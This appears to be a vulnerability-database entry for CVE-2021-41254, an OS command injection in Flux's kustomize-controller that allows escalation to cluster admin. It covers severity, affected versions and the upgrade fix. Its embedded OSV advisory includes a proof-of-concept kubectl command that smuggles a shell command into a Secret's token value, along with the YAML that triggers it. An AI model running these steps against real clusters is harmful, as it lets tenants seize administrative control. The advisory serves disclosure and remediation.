CVE-2021-41254: Github.com/fluxcd/kustomize controller Privilege Escalation To Cluster Admin Vulnerability
HIGHCVE-2021-41254 is a HIGH (CVSS 8.8) privilege escalation to cluster admin vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Github.com/fluxcd/kustomize controller libraries in the Go ecosystem. The issue involves privilege escalation to cluster admin on multi-tenant environments. Remediation is available by upgrading affected packages to version 0.15.0.
CVE-2021-41254 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2021-41254
To remediate this vulnerability, upgrade all affected Github.com/fluxcd/kustomize controller dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/fluxcd/kustomize-controller to 0.15.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/fluxcd/kustomize-controller
How to Check if You Are Affected
To determine whether your application is affected by CVE-2021-41254, inspect your project dependencies for Github.com/fluxcd/kustomize controller:
inspect dependencies for github.com/fluxcd/kustomize-controller
Analyze the terminal output to locate any version of Github.com/fluxcd/kustomize controller in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.15.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Github.com/fluxcd/kustomize controller, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2021-41254 Affected Github.com/fluxcd/kustomize controller Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/fluxcd/kustomize-controller
|
Go |
< 0.15.0
|
0.15.0
|
References
Frequently Asked Questions
What is CVE-2021-41254?
Which Github.com/fluxcd/kustomize controller versions are affected?
What version fixes CVE-2021-41254?
Is github.com/fluxcd/kustomize-controller affected?
What is the CVSS score of CVE-2021-41254?
What CWE is associated with CVE-2021-41254?
How can I check Go dependencies for CVE-2021-41254?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-35rf-v2jv-gfg7",
"modified" : "2021-11-12T18:57:27Z",
"published" : "2021-11-15T17:35:33Z",
"aliases" : [ "CVE-2021-41254" ],
"summary" : "Privilege escalation to cluster admin on multi-tenant environments",
"details" : "Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.\n\n### Impact\n\nMultitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.\n\n### Exploit \n\nTo exploit the command injection, first we create a secret with a shell command:\n\n```sh\nkubectl create secret generic exploit-token --from-literal=token=\" || kubectl api-versions\"\n```\n\nThen we create a Service Account that refers to the above Secret:\n\n```yaml\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n name: exploit\n namespace: default\nautomountServiceAccountToken: false\nsecrets:\n- name: exploit-token\n```\n\nAnd finally a Kustomization that runs under the above Service Account:\n\n```yaml\napiVersion: kustomize.toolkit.fluxcd.io/v1beta1\nkind: Kustomization\nmetadata:\n name: exploit\n namespace: default\nspec:\n interval: 5m\n path: \"./deploy/\"\n sourceRef:\n kind: GitRepository\n name: app\n serviceAccountName: exploit\n```\n\nWhen kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.\n\n### Patches\n\nThis vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image.\n\n### Workarounds\n\nTo prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: restrict-sa\nspec:\n validationFailureAction: enforce\n background: false\n rules:\n - name: validate-sa\n match:\n resources:\n kinds:\n - ServiceAccount\n namespaces:\n - tenant1\n - tenant2\n subjects:\n - kind: User\n name: some@tenant1.com\n - kind: User\n name: some@tenant2.com\n - kind: ServiceAccount\n name: kustomize-controller\n namespace: flux-system\n - kind: ServiceAccount\n name: helm-controller\n namespace: flux-system\n validate:\n message: \"Invalid service account\"\n pattern:\n X(secrets): \"*?\"\n```\n\n### References\n\nDisclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [kustomize-controller repository](http://github.com/fluxcd/kustomize-controller)\n\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/fluxcd/kustomize-controller"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.15.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/fluxcd/kustomize-controller/security/advisories/GHSA-35rf-v2jv-gfg7"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2021-41254"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/fluxcd/kustomize-controller"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-78" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2021-11-12T18:57:27Z",
"nvd_published_at" : "2021-11-12T18:15:00Z"
}
}